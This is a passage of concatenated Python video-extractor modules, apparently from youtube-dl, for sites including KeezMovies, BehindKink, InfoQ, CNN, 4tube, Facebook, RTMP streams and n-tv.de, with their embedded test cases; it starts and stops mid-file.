            'thumbnail': 're:^https?://.*\.jpg$',
            'view_count': int,
            'age_limit': 18,
        }
    }, {
        'url': 'http://www.keezmovies.com/video/1214711',
        'only_matching': True,
    }]

    def _extract_info(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = (mobj.group('display_id')
                      if 'display_id' in mobj.groupdict()
                      else None) or mobj.group('id')

        webpage = self._download_webpage(
            url, display_id, headers={'Cookie': 'age_verified=1'})

        formats = []
        format_urls = set()

        title = None
        thumbnail = None
        duration = None
        encrypted = False

        def extract_format(format_url, height=None):
            if not isinstance(format_url, compat_str) or not format_url.startswith('http'):
                return
            if format_url in format_urls:
                return
            format_urls.add(format_url)
            tbr = int_or_none(self._search_regex(
                r'[/_](\d+)[kK][/_]', format_url, 'tbr', default=None))
            if not height:
                height = int_or_none(self._search_regex(
                    r'[/_](\d+)[pP][/_]', format_url, 'height', default=None))
            if encrypted:
                format_url = aes_decrypt_text(
                    video_url, title, 32).decode('utf-8')
            formats.append({
                'url': format_url,
                'format_id': '%dp' % height if height else None,
                'height': height,
                'tbr': tbr,
            })

        flashvars = self._parse_json(
            self._search_regex(
                r'flashvars\s*=\s*({.+?});', webpage,
                'flashvars', default='{}'),
            display_id, fatal=False)

        if flashvars:
            title = flashvars.get('video_title')
            thumbnail = flashvars.get('image_url')
            duration = int_or_none(flashvars.get('video_duration'))
            encrypted = flashvars.get('encrypted') is True
            for key, value in flashvars.items():
                mobj = re.search(r'quality_(\d+)[pP]', key)
                if mobj:
                    extract_format(value, int(mobj.group(1)))
            video_url = flashvars.get('video_url')
            if video_url and determine_ext(video_url, None):
                extract_format(video_url)

        video_url = self._html_search_regex(
            r'flashvars\.video_url\s*=\s*(["\'])(?P<url>http.+?)\1',
            webpage, 'video url', default=None, group='url')
        if video_url:
            extract_format(compat_urllib_parse_unquote(video_url))

        if not formats:
            if 'title="This video is no longer available"' in webpage:
                raise ExtractorError(
                    'Video %s is no longer available' % video_id, expected=True)

        self._sort_formats(formats)

        if not title:
            title = self._html_search_regex(
                r'<h1[^>]*>([^<]+)', webpage, 'title')

        return webpage, {
            'id': video_id,
            'display_id': display_id,
            'title': strip_or_none(title),
            'thumbnail': thumbnail,
            'duration': duration,
            'age_limit': 18,
            'formats': formats,
        }

    def _real_extract(self, url):
        webpage, info = self._extract_info(url)
        info['view_count'] = str_to_int(self._search_regex(
            r'<b>([\d,.]+)</b> Views?', webpage, 'view count', fatal=False))
        return info






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import url_basename


class BehindKinkIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?behindkink\.com/(?P<year>[0-9]{4})/(?P<month>[0-9]{2})/(?P<day>[0-9]{2})/(?P<id>[^/#?_]+)'
    _TEST = {
        'url': 'http://www.behindkink.com/2014/12/05/what-are-you-passionate-about-marley-blaze/',
        'md5': '507b57d8fdcd75a41a9a7bdb7989c762',
        'info_dict': {
            'id': '37127',
            'ext': 'mp4',
            'title': 'What are you passionate about – Marley Blaze',
            'description': 'md5:aee8e9611b4ff70186f752975d9b94b4',
            'upload_date': '20141205',
            'thumbnail': 'http://www.behindkink.com/wp-content/uploads/2014/12/blaze-1.jpg',
            'age_limit': 18,
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        display_id = mobj.group('id')

        webpage = self._download_webpage(url, display_id)

        video_url = self._search_regex(
            r'<source src="([^"]+)"', webpage, 'video URL')
        video_id = url_basename(video_url).split('_')[0]
        upload_date = mobj.group('year') + mobj.group('month') + mobj.group('day')

        return {
            'id': video_id,
            'display_id': display_id,
            'url': video_url,
            'title': self._og_search_title(webpage),
            'thumbnail': self._og_search_thumbnail(webpage),
            'description': self._og_search_description(webpage),
            'upload_date': upload_date,
            'age_limit': 18,
        }






# coding: utf-8

from __future__ import unicode_literals

import base64

from ..compat import compat_urllib_parse_unquote
from ..utils import determine_ext
from .bokecc import BokeCCBaseIE


class InfoQIE(BokeCCBaseIE):
    _VALID_URL = r'https?://(?:www\.)?infoq\.com/(?:[^/]+/)+(?P<id>[^/]+)'

    _TESTS = [{
        'url': 'http://www.infoq.com/presentations/A-Few-of-My-Favorite-Python-Things',
        'md5': 'b5ca0e0a8c1fed93b0e65e48e462f9a2',
        'info_dict': {
            'id': 'A-Few-of-My-Favorite-Python-Things',
            'ext': 'mp4',
            'description': 'Mike Pirnat presents some tips and tricks, standard libraries and third party packages that make programming in Python a richer experience.',
            'title': 'A Few of My Favorite [Python] Things',
        },
    }, {
        'url': 'http://www.infoq.com/fr/presentations/changez-avis-sur-javascript',
        'only_matching': True,
    }, {
        'url': 'http://www.infoq.com/cn/presentations/openstack-continued-delivery',
        'md5': '4918d0cca1497f2244572caf626687ef',
        'info_dict': {
            'id': 'openstack-continued-delivery',
            'title': 'OpenStack持续交付之路',
            'ext': 'flv',
            'description': 'md5:308d981fb28fa42f49f9568322c683ff',
        },
    }]

    def _extract_rtmp_videos(self, webpage):
        # The server URL is hardcoded
        video_url = 'rtmpe://video.infoq.com/cfx/st/'

        # Extract video URL
        encoded_id = self._search_regex(
            r"jsclassref\s*=\s*'([^']*)'", webpage, 'encoded id', default=None)

        real_id = compat_urllib_parse_unquote(base64.b64decode(encoded_id.encode('ascii')).decode('utf-8'))
        playpath = 'mp4:' + real_id

        return [{
            'format_id': 'rtmp',
            'url': video_url,
            'ext': determine_ext(playpath),
            'play_path': playpath,
        }]

    def _extract_http_videos(self, webpage):
        http_video_url = self._search_regex(r'P\.s\s*=\s*\'([^\']+)\'', webpage, 'video URL')

        policy = self._search_regex(r'InfoQConstants.scp\s*=\s*\'([^\']+)\'', webpage, 'policy')
        signature = self._search_regex(r'InfoQConstants.scs\s*=\s*\'([^\']+)\'', webpage, 'signature')
        key_pair_id = self._search_regex(r'InfoQConstants.sck\s*=\s*\'([^\']+)\'', webpage, 'key-pair-id')

        return [{
            'format_id': 'http',
            'url': http_video_url,
            'http_headers': {
                'Cookie': 'CloudFront-Policy=%s; CloudFront-Signature=%s; CloudFront-Key-Pair-Id=%s' % (
                    policy, signature, key_pair_id),
            },
        }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        video_title = self._html_search_regex(r'<title>(.*?)</title>', webpage, 'title')
        video_description = self._html_search_meta('description', webpage, 'description')

        if '/cn/' in url:
            # for China videos, HTTP video URL exists but always fails with 403
            formats = self._extract_bokecc_formats(webpage, video_id)
        else:
            formats = self._extract_rtmp_videos(webpage) + self._extract_http_videos(webpage)

        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': video_title,
            'description': video_description,
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    parse_duration,
    url_basename,
)


class CNNIE(InfoExtractor):
    _VALID_URL = r'''(?x)https?://(?:(?P<sub_domain>edition|www|money)\.)?cnn\.com/(?:video/(?:data/.+?|\?)/)?videos?/
        (?P<path>.+?/(?P<title>[^/]+?)(?:\.(?:[a-z\-]+)|(?=&)))'''

    _TESTS = [{
        'url': 'http://edition.cnn.com/video/?/video/sports/2013/06/09/nadal-1-on-1.cnn',
        'md5': '3e6121ea48df7e2259fe73a0628605c4',
        'info_dict': {
            'id': 'sports/2013/06/09/nadal-1-on-1.cnn',
            'ext': 'mp4',
            'title': 'Nadal wins 8th French Open title',
            'description': 'World Sport\'s Amanda Davies chats with 2013 French Open champion Rafael Nadal.',
            'duration': 135,
            'upload_date': '20130609',
        },
    }, {
        'url': 'http://edition.cnn.com/video/?/video/us/2013/08/21/sot-student-gives-epic-speech.georgia-institute-of-technology&utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+rss%2Fcnn_topstories+%28RSS%3A+Top+Stories%29',
        'md5': 'b5cc60c60a3477d185af8f19a2a26f4e',
        'info_dict': {
            'id': 'us/2013/08/21/sot-student-gives-epic-speech.georgia-institute-of-technology',
            'ext': 'mp4',
            'title': "Student's epic speech stuns new freshmen",
            'description': "A Georgia Tech student welcomes the incoming freshmen with an epic speech backed by music from \"2001: A Space Odyssey.\"",
            'upload_date': '20130821',
        }
    }, {
        'url': 'http://www.cnn.com/video/data/2.0/video/living/2014/12/22/growing-america-nashville-salemtown-board-episode-1.hln.html',
        'md5': 'f14d02ebd264df951feb2400e2c25a1b',
        'info_dict': {
            'id': 'living/2014/12/22/growing-america-nashville-salemtown-board-episode-1.hln',
            'ext': 'mp4',
            'title': 'Nashville Ep. 1: Hand crafted skateboards',
            'description': 'md5:e7223a503315c9f150acac52e76de086',
            'upload_date': '20141222',
        }
    }, {
        'url': 'http://money.cnn.com/video/news/2016/08/19/netflix-stunning-stats.cnnmoney/index.html',
        'md5': '52a515dc1b0f001cd82e4ceda32be9d1',
        'info_dict': {
            'id': '/video/news/2016/08/19/netflix-stunning-stats.cnnmoney',
            'ext': 'mp4',
            'title': '5 stunning stats about Netflix',
            'description': 'Did you know that Netflix has more than 80 million members? Here are five facts about the online video distributor that you probably didn\'t know.',
            'upload_date': '20160819',
        }
    }, {
        'url': 'http://cnn.com/video/?/video/politics/2015/03/27/pkg-arizona-senator-church-attendance-mandatory.ktvk',
        'only_matching': True,
    }, {
        'url': 'http://cnn.com/video/?/video/us/2015/04/06/dnt-baker-refuses-anti-gay-order.wkmg',
        'only_matching': True,
    }, {
        'url': 'http://edition.cnn.com/videos/arts/2016/04/21/olympic-games-cultural-a-z-brazil.cnn',
        'only_matching': True,
    }]

    _CONFIG = {
        # http://edition.cnn.com/.element/apps/cvp/3.0/cfg/spider/cnn/expansion/config.xml
        'edition': {
            'data_src': 'http://edition.cnn.com/video/data/3.0/video/%s/index.xml',
            'media_src': 'http://pmd.cdn.turner.com/cnn/big',
        },
        # http://money.cnn.com/.element/apps/cvp2/cfg/config.xml
        'money': {
            'data_src': 'http://money.cnn.com/video/data/4.0/video/%s.xml',
            'media_src': 'http://ht3.cdn.turner.com/money/big',
        },
    }

    def _real_extract(self, url):
        sub_domain, path, page_title = re.match(self._VALID_URL, url).groups()
        if sub_domain not in ('money', 'edition'):
            sub_domain = 'edition'
        config = self._CONFIG[sub_domain]
        info_url = config['data_src'] % path
        info = self._download_xml(info_url, page_title)

        formats = []
        rex = re.compile(r'''(?x)
            (?P<width>[0-9]+)x(?P<height>[0-9]+)
            (?:_(?P<bitrate>[0-9]+)k)?
        ''')
        for f in info.findall('files/file'):
            video_url = config['media_src'] + f.text.strip()
            fdct = {
                'format_id': f.attrib['bitrate'],
                'url': video_url,
            }

            mf = rex.match(f.attrib['bitrate'])
            if mf:
                fdct['width'] = int(mf.group('width'))
                fdct['height'] = int(mf.group('height'))
                fdct['tbr'] = int_or_none(mf.group('bitrate'))
            else:
                mf = rex.search(f.text)
                if mf:
                    fdct['width'] = int(mf.group('width'))
                    fdct['height'] = int(mf.group('height'))
                    fdct['tbr'] = int_or_none(mf.group('bitrate'))
                else:
                    mi = re.match(r'ios_(audio|[0-9]+)$', f.attrib['bitrate'])
                    if mi:
                        if mi.group(1) == 'audio':
                            fdct['vcodec'] = 'none'
                            fdct['ext'] = 'm4a'
                        else:
                            fdct['tbr'] = int(mi.group(1))

            formats.append(fdct)

        self._sort_formats(formats)

        thumbnails = [{
            'height': int(t.attrib['height']),
            'width': int(t.attrib['width']),
            'url': t.text,
        } for t in info.findall('images/image')]

        metas_el = info.find('metas')
        upload_date = (
            metas_el.attrib.get('version') if metas_el is not None else None)

        duration_el = info.find('length')
        duration = parse_duration(duration_el.text)

        return {
            'id': info.attrib['id'],
            'title': info.find('headline').text,
            'formats': formats,
            'thumbnails': thumbnails,
            'description': info.find('description').text,
            'duration': duration,
            'upload_date': upload_date,
        }


class CNNBlogsIE(InfoExtractor):
    _VALID_URL = r'https?://[^\.]+\.blogs\.cnn\.com/.+'
    _TEST = {
        'url': 'http://reliablesources.blogs.cnn.com/2014/02/09/criminalizing-journalism/',
        'md5': '3e56f97b0b6ffb4b79f4ea0749551084',
        'info_dict': {
            'id': 'bestoftv/2014/02/09/criminalizing-journalism.cnn',
            'ext': 'mp4',
            'title': 'Criminalizing journalism?',
            'description': 'Glenn Greenwald responds to comments made this week on Capitol Hill that journalists could be criminal accessories.',
            'upload_date': '20140209',
        },
        'add_ie': ['CNN'],
    }

    def _real_extract(self, url):
        webpage = self._download_webpage(url, url_basename(url))
        cnn_url = self._html_search_regex(r'data-url="(.+?)"', webpage, 'cnn url')
        return {
            '_type': 'url',
            'url': cnn_url,
            'ie_key': CNNIE.ie_key(),
        }


class CNNArticleIE(InfoExtractor):
    _VALID_URL = r'https?://(?:(?:edition|www)\.)?cnn\.com/(?!videos?/)'
    _TEST = {
        'url': 'http://www.cnn.com/2014/12/21/politics/obama-north-koreas-hack-not-war-but-cyber-vandalism/',
        'md5': '689034c2a3d9c6dc4aa72d65a81efd01',
        'info_dict': {
            'id': 'bestoftv/2014/12/21/ip-north-korea-obama.cnn',
            'ext': 'mp4',
            'title': 'Obama: Cyberattack not an act of war',
            'description': 'md5:51ce6750450603795cad0cdfbd7d05c5',
            'upload_date': '20141221',
        },
        'add_ie': ['CNN'],
    }

    def _real_extract(self, url):
        webpage = self._download_webpage(url, url_basename(url))
        cnn_url = self._html_search_regex(r"video:\s*'([^']+)'", webpage, 'cnn url')
        return {
            '_type': 'url',
            'url': 'http://cnn.com/video/?/video/' + cnn_url,
            'ie_key': CNNIE.ie_key(),
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    parse_duration,
    parse_iso8601,
    sanitized_Request,
    str_to_int,
)


class FourTubeIE(InfoExtractor):
    IE_NAME = '4tube'
    _VALID_URL = r'https?://(?:www\.)?4tube\.com/videos/(?P<id>\d+)'

    _TEST = {
        'url': 'http://www.4tube.com/videos/209733/hot-babe-holly-michaels-gets-her-ass-stuffed-by-black',
        'md5': '6516c8ac63b03de06bc8eac14362db4f',
        'info_dict': {
            'id': '209733',
            'ext': 'mp4',
            'title': 'Hot Babe Holly Michaels gets her ass stuffed by black',
            'uploader': 'WCP Club',
            'uploader_id': 'wcp-club',
            'upload_date': '20131031',
            'timestamp': 1383263892,
            'duration': 583,
            'view_count': int,
            'like_count': int,
            'categories': list,
            'age_limit': 18,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        title = self._html_search_meta('name', webpage)
        timestamp = parse_iso8601(self._html_search_meta(
            'uploadDate', webpage))
        thumbnail = self._html_search_meta('thumbnailUrl', webpage)
        uploader_id = self._html_search_regex(
            r'<a class="item-to-subscribe" href="[^"]+/channels/([^/"]+)" title="Go to [^"]+ page">',
            webpage, 'uploader id', fatal=False)
        uploader = self._html_search_regex(
            r'<a class="item-to-subscribe" href="[^"]+/channels/[^/"]+" title="Go to ([^"]+) page">',
            webpage, 'uploader', fatal=False)

        categories_html = self._search_regex(
            r'(?s)><i class="icon icon-tag"></i>\s*Categories / Tags\s*.*?<ul class="[^"]*?list[^"]*?">(.*?)</ul>',
            webpage, 'categories', fatal=False)
        categories = None
        if categories_html:
            categories = [
                c.strip() for c in re.findall(
                    r'(?s)<li><a.*?>(.*?)</a>', categories_html)]

        view_count = str_to_int(self._search_regex(
            r'<meta[^>]+itemprop="interactionCount"[^>]+content="UserPlays:([0-9,]+)">',
            webpage, 'view count', fatal=False))
        like_count = str_to_int(self._search_regex(
            r'<meta[^>]+itemprop="interactionCount"[^>]+content="UserLikes:([0-9,]+)">',
            webpage, 'like count', fatal=False))
        duration = parse_duration(self._html_search_meta('duration', webpage))

        media_id = self._search_regex(
            r'<button[^>]+data-id=(["\'])(?P<id>\d+)\1[^>]+data-quality=', webpage,
            'media id', default=None, group='id')
        sources = [
            quality
            for _, quality in re.findall(r'<button[^>]+data-quality=(["\'])(.+?)\1', webpage)]
        if not (media_id and sources):
            player_js = self._download_webpage(
                self._search_regex(
                    r'<script[^>]id=(["\'])playerembed\1[^>]+src=(["\'])(?P<url>.+?)\2',
                    webpage, 'player JS', group='url'),
                video_id, 'Downloading player JS')
            params_js = self._search_regex(
                r'\$\.ajax\(url,\ opts\);\s*\}\s*\}\)\(([0-9,\[\] ]+)\)',
                player_js, 'initialization parameters')
            params = self._parse_json('[%s]' % params_js, video_id)
            media_id = params[0]
            sources = ['%s' % p for p in params[2]]

        token_url = 'http://tkn.4tube.com/{0}/desktop/{1}'.format(
            media_id, '+'.join(sources))
        headers = {
            b'Content-Type': b'application/x-www-form-urlencoded',
            b'Origin': b'http://www.4tube.com',
        }
        token_req = sanitized_Request(token_url, b'{}', headers)
        tokens = self._download_json(token_req, video_id)
        formats = [{
            'url': tokens[format]['token'],
            'format_id': format + 'p',
            'resolution': format + 'p',
            'quality': int(format),
        } for format in sources]
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'formats': formats,
            'categories': categories,
            'thumbnail': thumbnail,
            'uploader': uploader,
            'uploader_id': uploader_id,
            'timestamp': timestamp,
            'like_count': like_count,
            'view_count': view_count,
            'duration': duration,
            'age_limit': 18,
        }






from __future__ import unicode_literals

import json
import re
import socket

from .common import InfoExtractor
from ..compat import (
    compat_etree_fromstring,
    compat_http_client,
    compat_urllib_error,
    compat_urllib_parse_unquote,
    compat_urllib_parse_unquote_plus,
)
from ..utils import (
    error_to_compat_str,
    ExtractorError,
    limit_length,
    sanitized_Request,
    urlencode_postdata,
    get_element_by_id,
    clean_html,
)


class FacebookIE(InfoExtractor):
    _VALID_URL = r'''(?x)
                (?:
                    https?://
                        (?:[\w-]+\.)?facebook\.com/
                        (?:[^#]*?\#!/)?
                        (?:
                            (?:
                                video/video\.php|
                                photo\.php|
                                video\.php|
                                video/embed|
                                story\.php
                            )\?(?:.*?)(?:v|video_id|story_fbid)=|
                            [^/]+/videos/(?:[^/]+/)?|
                            [^/]+/posts/|
                            groups/[^/]+/permalink/
                        )|
                    facebook:
                )
                (?P<id>[0-9]+)
                '''
    _LOGIN_URL = 'https://www.facebook.com/login.php?next=http%3A%2F%2Ffacebook.com%2Fhome.php&login_attempt=1'
    _CHECKPOINT_URL = 'https://www.facebook.com/checkpoint/?next=http%3A%2F%2Ffacebook.com%2Fhome.php&_fb_noscript=1'
    _NETRC_MACHINE = 'facebook'
    IE_NAME = 'facebook'

    _CHROME_USER_AGENT = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36'

    _VIDEO_PAGE_TEMPLATE = 'https://www.facebook.com/video/video.php?v=%s'

    _TESTS = [{
        'url': 'https://www.facebook.com/video.php?v=637842556329505&fref=nf',
        'md5': '6a40d33c0eccbb1af76cf0485a052659',
        'info_dict': {
            'id': '637842556329505',
            'ext': 'mp4',
            'title': 're:Did you know Kei Nishikori is the first Asian man to ever reach a Grand Slam',
            'uploader': 'Tennis on Facebook',
        }
    }, {
        'note': 'Video without discernible title',
        'url': 'https://www.facebook.com/video.php?v=274175099429670',
        'info_dict': {
            'id': '274175099429670',
            'ext': 'mp4',
            'title': 'Facebook video #274175099429670',
            'uploader': 'Asif Nawab Butt',
        },
        'expected_warnings': [
            'title'
        ]
    }, {
        'note': 'Video with DASH manifest',
        'url': 'https://www.facebook.com/video.php?v=957955867617029',
        'md5': '54706e4db4f5ad58fbad82dde1f1213f',
        'info_dict': {
            'id': '957955867617029',
            'ext': 'mp4',
            'title': 'When you post epic content on instagram.com/433 8 million followers, this is ...',
            'uploader': 'Demy de Zeeuw',
        },
    }, {
        'url': 'https://www.facebook.com/maxlayn/posts/10153807558977570',
        'md5': '037b1fa7f3c2d02b7a0d7bc16031ecc6',
        'info_dict': {
            'id': '544765982287235',
            'ext': 'mp4',
            'title': '"What are you doing running in the snow?"',
            'uploader': 'FailArmy',
        }
    }, {
        'url': 'https://m.facebook.com/story.php?story_fbid=1035862816472149&id=116132035111903',
        'md5': '1deb90b6ac27f7efcf6d747c8a27f5e3',
        'info_dict': {
            'id': '1035862816472149',
            'ext': 'mp4',
            'title': 'What the Flock Is Going On In New Zealand  Credit: ViralHog',
            'uploader': 'S. Saint',
        },
    }, {
        'note': 'swf params escaped',
        'url': 'https://www.facebook.com/barackobama/posts/10153664894881749',
        'md5': '97ba073838964d12c70566e0085c2b91',
        'info_dict': {
            'id': '10153664894881749',
            'ext': 'mp4',
            'title': 'Facebook video #10153664894881749',
        },
    }, {
        'url': 'https://www.facebook.com/video.php?v=10204634152394104',
        'only_matching': True,
    }, {
        'url': 'https://www.facebook.com/amogood/videos/1618742068337349/?fref=nf',
        'only_matching': True,
    }, {
        'url': 'https://www.facebook.com/ChristyClarkForBC/videos/vb.22819070941/10153870694020942/?type=2&theater',
        'only_matching': True,
    }, {
        'url': 'facebook:544765982287235',
        'only_matching': True,
    }, {
        'url': 'https://www.facebook.com/groups/164828000315060/permalink/764967300301124/',
        'only_matching': True,
    }, {
        'url': 'https://zh-hk.facebook.com/peoplespower/videos/1135894589806027/',
        'only_matching': True,
    }]

    @staticmethod
    def _extract_url(webpage):
        mobj = re.search(
            r'<iframe[^>]+?src=(["\'])(?P<url>https://www\.facebook\.com/video/embed.+?)\1', webpage)
        if mobj is not None:
            return mobj.group('url')

        # Facebook API embed
        # see https://developers.facebook.com/docs/plugins/embedded-video-player
        mobj = re.search(r'''(?x)<div[^>]+
                class=(?P<q1>[\'"])[^\'"]*\bfb-(?:video|post)\b[^\'"]*(?P=q1)[^>]+
                data-href=(?P<q2>[\'"])(?P<url>(?:https?:)?//(?:www\.)?facebook.com/.+?)(?P=q2)''', webpage)
        if mobj is not None:
            return mobj.group('url')

    def _login(self):
        (useremail, password) = self._get_login_info()
        if useremail is None:
            return

        login_page_req = sanitized_Request(self._LOGIN_URL)
        self._set_cookie('facebook.com', 'locale', 'en_US')
        login_page = self._download_webpage(login_page_req, None,
                                            note='Downloading login page',
                                            errnote='Unable to download login page')
        lsd = self._search_regex(
            r'<input type="hidden" name="lsd" value="([^"]*)"',
            login_page, 'lsd')
        lgnrnd = self._search_regex(r'name="lgnrnd" value="([^"]*?)"', login_page, 'lgnrnd')

        login_form = {
            'email': useremail,
            'pass': password,
            'lsd': lsd,
            'lgnrnd': lgnrnd,
            'next': 'http://facebook.com/home.php',
            'default_persistent': '0',
            'legacy_return': '1',
            'timezone': '-60',
            'trynum': '1',
        }
        request = sanitized_Request(self._LOGIN_URL, urlencode_postdata(login_form))
        request.add_header('Content-Type', 'application/x-www-form-urlencoded')
        try:
            login_results = self._download_webpage(request, None,
                                                   note='Logging in', errnote='unable to fetch login page')
            if re.search(r'<form(.*)name="login"(.*)</form>', login_results) is not None:
                error = self._html_search_regex(
                    r'(?s)<div[^>]+class=(["\']).*?login_error_box.*?\1[^>]*><div[^>]*>.*?</div><div[^>]*>(?P<error>.+?)</div>',
                    login_results, 'login error', default=None, group='error')
                if error:
                    raise ExtractorError('Unable to login: %s' % error, expected=True)
                self._downloader.report_warning('unable to log in: bad username/password, or exceeded login rate limit (~3/min). Check credentials or wait.')
                return

            fb_dtsg = self._search_regex(
                r'name="fb_dtsg" value="(.+?)"', login_results, 'fb_dtsg', default=None)
            h = self._search_regex(
                r'name="h"\s+(?:\w+="[^"]+"\s+)*?value="([^"]+)"', login_results, 'h', default=None)

            if not fb_dtsg or not h:
                return

            check_form = {
                'fb_dtsg': fb_dtsg,
                'h': h,
                'name_action_selected': 'dont_save',
            }
            check_req = sanitized_Request(self._CHECKPOINT_URL, urlencode_postdata(check_form))
            check_req.add_header('Content-Type', 'application/x-www-form-urlencoded')
            check_response = self._download_webpage(check_req, None,
                                                    note='Confirming login')
            if re.search(r'id="checkpointSubmitButton"', check_response) is not None:
                self._downloader.report_warning('Unable to confirm login, you have to login in your browser and authorize the login.')
        except (compat_urllib_error.URLError, compat_http_client.HTTPException, socket.error) as err:
            self._downloader.report_warning('unable to log in: %s' % error_to_compat_str(err))
            return

    def _real_initialize(self):
        self._login()

    def _extract_from_url(self, url, video_id, fatal_if_no_video=True):
        req = sanitized_Request(url)
        req.add_header('User-Agent', self._CHROME_USER_AGENT)
        webpage = self._download_webpage(req, video_id)

        video_data = None

        BEFORE = '{swf.addParam(param[0], param[1]);});'
        AFTER = '.forEach(function(variable) {swf.addVariable(variable[0], variable[1]);});'
        PATTERN = re.escape(BEFORE) + '(?:\n|\\\\n)(.*?)' + re.escape(AFTER)

        for m in re.findall(PATTERN, webpage):
            swf_params = m.replace('\\\\', '\\').replace('\\"', '"')
            data = dict(json.loads(swf_params))
            params_raw = compat_urllib_parse_unquote(data['params'])
            video_data_candidate = json.loads(params_raw)['video_data']
            for _, f in video_data_candidate.items():
                if not f:
                    continue
                if isinstance(f, dict):
                    f = [f]
                if not isinstance(f, list):
                    continue
                if f[0].get('video_id') == video_id:
                    video_data = video_data_candidate
                    break
            if video_data:
                break

        def video_data_list2dict(video_data):
            ret = {}
            for item in video_data:
                format_id = item['stream_type']
                ret.setdefault(format_id, []).append(item)
            return ret

        if not video_data:
            server_js_data = self._parse_json(self._search_regex(
                r'handleServerJS\(({.+})\);', webpage, 'server js data', default='{}'), video_id)
            for item in server_js_data.get('instances', []):
                if item[1][0] == 'VideoConfig':
                    video_data = video_data_list2dict(item[2][0]['videoData'])
                    break

        if not video_data:
            if not fatal_if_no_video:
                return webpage, False
            m_msg = re.search(r'class="[^"]*uiInterstitialContent[^"]*"><div>(.*?)</div>', webpage)
            if m_msg is not None:
                raise ExtractorError(
                    'The video is not available, Facebook said: "%s"' % m_msg.group(1),
                    expected=True)
            else:
                raise ExtractorError('Cannot parse data')

        formats = []
        for format_id, f in video_data.items():
            if f and isinstance(f, dict):
                f = [f]
            if not f or not isinstance(f, list):
                continue
            for quality in ('sd', 'hd'):
                for src_type in ('src', 'src_no_ratelimit'):
                    src = f[0].get('%s_%s' % (quality, src_type))
                    if src:
                        preference = -10 if format_id == 'progressive' else 0
                        if quality == 'hd':
                            preference += 5
                        formats.append({
                            'format_id': '%s_%s_%s' % (format_id, quality, src_type),
                            'url': src,
                            'preference': preference,
                        })
            dash_manifest = f[0].get('dash_manifest')
            if dash_manifest:
                formats.extend(self._parse_mpd_formats(
                    compat_etree_fromstring(compat_urllib_parse_unquote_plus(dash_manifest))))
        if not formats:
            raise ExtractorError('Cannot find video formats')

        self._sort_formats(formats)

        video_title = self._html_search_regex(
            r'<h2\s+[^>]*class="uiHeaderTitle"[^>]*>([^<]*)</h2>', webpage, 'title',
            default=None)
        if not video_title:
            video_title = self._html_search_regex(
                r'(?s)<span class="fbPhotosPhotoCaption".*?id="fbPhotoPageCaption"><span class="hasCaption">(.*?)</span>',
                webpage, 'alternative title', default=None)
            video_title = limit_length(video_title, 80)
        if not video_title:
            video_title = 'Facebook video #%s' % video_id
        uploader = clean_html(get_element_by_id('fbPhotoPageAuthorName', webpage))

        info_dict = {
            'id': video_id,
            'title': video_title,
            'formats': formats,
            'uploader': uploader,
        }

        return webpage, info_dict

    def _real_extract(self, url):
        video_id = self._match_id(url)

        real_url = self._VIDEO_PAGE_TEMPLATE % video_id if url.startswith('facebook:') else url
        webpage, info_dict = self._extract_from_url(real_url, video_id, fatal_if_no_video=False)

        if info_dict:
            return info_dict

        if '/posts/' in url:
            entries = [
                self.url_result('facebook:%s' % vid, FacebookIE.ie_key())
                for vid in self._parse_json(
                    self._search_regex(
                        r'(["\'])video_ids\1\s*:\s*(?P<ids>\[.+?\])',
                        webpage, 'video ids', group='ids'),
                    video_id)]

            return self.playlist_result(entries, video_id)
        else:
            _, info_dict = self._extract_from_url(
                self._VIDEO_PAGE_TEMPLATE % video_id,
                video_id, fatal_if_no_video=True)
            return info_dict






from __future__ import unicode_literals

import os

from .common import InfoExtractor
from ..compat import (
    compat_urllib_parse_unquote,
    compat_urlparse,
)
from ..utils import url_basename


class RtmpIE(InfoExtractor):
    IE_DESC = False  # Do not list
    _VALID_URL = r'(?i)rtmp[est]?://.+'

    _TESTS = [{
        'url': 'rtmp://cp44293.edgefcs.net/ondemand?auth=daEcTdydfdqcsb8cZcDbAaCbhamacbbawaS-bw7dBb-bWG-GqpGFqCpNCnGoyL&aifp=v001&slist=public/unsecure/audio/2c97899446428e4301471a8cb72b4b97--audio--pmg-20110908-0900a_flv_aac_med_int.mp4',
        'only_matching': True,
    }, {
        'url': 'rtmp://edge.live.hitbox.tv/live/dimak',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = compat_urllib_parse_unquote(os.path.splitext(url.rstrip('/').split('/')[-1])[0])
        title = compat_urllib_parse_unquote(os.path.splitext(url_basename(url))[0])
        return {
            'id': video_id,
            'title': title,
            'formats': [{
                'url': url,
                'ext': 'flv',
                'format_id': compat_urlparse.urlparse(url).scheme,
            }],
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_urlparse
from ..utils import (
    int_or_none,
    js_to_json,
    parse_duration,
)


class NTVDeIE(InfoExtractor):
    IE_NAME = 'n-tv.de'
    _VALID_URL = r'https?://(?:www\.)?n-tv\.de/mediathek/videos/[^/?#]+/[^/?#]+-article(?P<id>.+)\.html'

    _TESTS = [{
        'url': 'http://www.n-tv.de/mediathek/videos/panorama/Schnee-und-Glaette-fuehren-zu-zahlreichen-Unfaellen-und-Staus-article14438086.html',
        'md5': '6ef2514d4b1e8e03ca24b49e2f167153',
        'info_dict': {
            'id': '14438086',
            'ext': 'mp4',
            'thumbnail': 're:^https?://.*\.jpg$',
            'title': 'Schnee und Glätte führen zu zahlreichen Unfällen und Staus',
            'alt_title': 'Winterchaos auf deutschen Straßen',
